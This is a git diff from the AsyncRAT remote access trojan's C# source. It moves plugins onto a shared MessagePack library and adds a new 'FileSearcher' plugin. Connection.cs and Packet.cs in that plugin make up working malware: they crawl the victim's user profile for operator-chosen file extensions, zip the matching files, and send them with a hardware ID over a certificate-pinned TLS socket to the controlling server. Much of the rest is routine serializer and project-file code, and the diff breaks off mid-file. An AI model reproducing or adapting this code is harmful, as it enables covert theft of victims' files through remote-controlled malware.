- { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs index 88e5240..b43ca36 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs @@ -1,5 +1,5 @@ using Plugin.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs index a59807f..ce6e469 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs index 9796e56..d7fd800 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs @@ -9,7 +9,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/packages.config b/AsyncRAT-C#/Plugin/FileManager/FileManager/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher.sln b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher.sln new file mode 100644 index 0000000..336603c --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30002.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileSearcher", "FileSearcher\FileSearcher.csproj", "{9D1D39D8-2387-46ED-A4A8-59D250C97F35}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3B852AFB-3605-49E9-9364-8EDEF4D95072} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs new file mode 100644 index 0000000..70456c5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs @@ -0,0 +1,227 @@ +using MessagePackLib.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } + private static Timer Tick { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + try + { + if (File.Exists(Packet.ZipfilePath)) + { + File.Delete(Packet.ZipfilePath); + } + } + catch { } + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + Disconnected(); + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) + { + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) + { + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize > 0) + { + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0) + { + Disconnected(); + return; + } + Offset += rc; + HeaderSize -= rc; + if (HeaderSize < 0) + { + Disconnected(); + return; + } + } + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } + } + else if (HeaderSize < 0) + { + Disconnected(); + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); + } + else + { + Disconnected(); + return; + } + } + catch + { + Disconnected(); + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + using (MemoryStream memoryStream = new MemoryStream(msg)) + { + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) + { + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FileSearcher.csproj b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FileSearcher.csproj new file mode 100644 index 0000000..a7866d3 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FileSearcher.csproj @@ -0,0 +1,78 @@ + + + + + + + + Debug + AnyCPU + {9D1D39D8-2387-46ED-A4A8-59D250C97F35} + Library + Properties + Plugin + FileSearcher + v4.0 + 512 + true + + + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + ..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + + + ..\..\..\packages\DotNetZip.Reduced.1.9.1.8\lib\net20\Ionic.Zip.Reduced.dll + + + + + + + + + + + + + + + + + + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/FodyWeavers.xml b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FodyWeavers.xml similarity index 100% rename from AsyncRAT-C#/Client/FodyWeavers.xml rename to AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FodyWeavers.xml diff --git a/AsyncRAT-C#/Client/FodyWeavers.xsd b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FodyWeavers.xsd similarity index 100% rename from AsyncRAT-C#/Client/FodyWeavers.xsd rename to AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/FodyWeavers.xsd diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Packet.cs b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Packet.cs new file mode 100644 index 0000000..ac6abbb --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Packet.cs @@ -0,0 +1,144 @@ +using Ionic.Zip; +using MessagePackLib.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Packet + { + public readonly static string ZipfilePath = Path.GetTempFileName() + ".zip"; + private static long SizeLimit = 5000000; //5MB + private static long CurrentSize = 0; + private static List Extensions = new List(); + + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "fileSearcher": + { + SizeLimit = unpack_msgpack.ForcePathObject("SizeLimit").AsInteger; + Debug.WriteLine(SizeLimit + "MB"); + foreach (string s in unpack_msgpack.ForcePathObject("Extensions").AsString.Split(' ')) + { + if (!string.IsNullOrEmpty(s)) + Extensions.Add(s.Trim().ToLower()); + } + Debug.WriteLine(string.Join(", ", Extensions)); + Search(); + break; + } + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static List GetAllAccessibleFiles(string rootPath, List alreadyFound = null) + { + if (alreadyFound == null) + alreadyFound = new List(); + DirectoryInfo di = new DirectoryInfo(rootPath); + var dirs = di.EnumerateDirectories(); + foreach (DirectoryInfo dir in dirs) + { + if (!((dir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden)) + { + alreadyFound = GetAllAccessibleFiles(dir.FullName, alreadyFound); + } + } + + var files = Directory.GetFiles(rootPath); + foreach (string file in files) + { + if (CurrentSize >= SizeLimit) + { + break; + } + if (Extensions.Contains(Path.GetExtension(file).ToLower())) + { + alreadyFound.Add(file); + CurrentSize = CurrentSize + new FileInfo(file).Length; + } + } + + return alreadyFound; + } + + private static void Search() + { + try + { + List files = GetAllAccessibleFiles(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)); + + if (files.Count == 0) + { + Log("FileSearcher: No files found"); + } + else + { + if (Save(files)) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileSearcher"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("ZipFile").SetAsBytes(File.ReadAllBytes(ZipfilePath)); + Connection.Send(msgpack.Encode2Bytes()); + } + } + + } + catch { return; } + } + + private static bool Save(List files) + { + try + { + if (File.Exists(ZipfilePath)) File.Delete(ZipfilePath); + Thread.Sleep(500); + using (ZipFile zip = new ZipFile()) + { + foreach (string file in files) + { + zip.AddFile(file); + } + zip.Save(ZipfilePath); + } + return true; + } + catch { return false; } + } + + private static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + + public static void Log(string message) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Logs"; + msgpack.ForcePathObject("Message").AsString = message; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Plugin.cs b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Plugin.cs new file mode 100644 index 0000000..ce6e469 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Plugin.cs @@ -0,0 +1,44 @@ +using MessagePackLib.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..22dfa08 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/packages.config b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/packages.config new file mode 100644 index 0000000..06db080 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/packages.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs index 950a7ef..165b980 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMerge.props b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj index 38af0cf..2bf8dcc 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj @@ -1,5 +1,7 @@  + + Debug @@ -44,15 +46,31 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - 